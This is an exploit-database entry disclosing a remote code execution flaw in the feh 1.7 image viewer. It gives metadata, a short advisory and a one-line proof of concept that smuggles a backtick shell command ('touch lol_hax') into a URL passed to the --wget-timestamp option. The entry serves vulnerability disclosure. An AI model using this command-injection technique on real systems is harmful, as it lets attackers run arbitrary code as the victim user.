feh 1.7 - '--wget-Timestamp' Remote Code Execution

EDB-ID:

34201


Author:

anonymous

Type:

remote


Platform:

Linux

Date:

2010-06-25


source: https://www.securityfocus.com/bid/41161/info

feh is prone to a remote code-execution vulnerability.

Attackers can exploit this issue to execute arbitrary code in the context of the user running the application. Successful exploits will compromise the application and possibly the computer. 

feh --wget-timestamp 'http://www.example.com/stuff/bar`touch lol_hax`.jpg'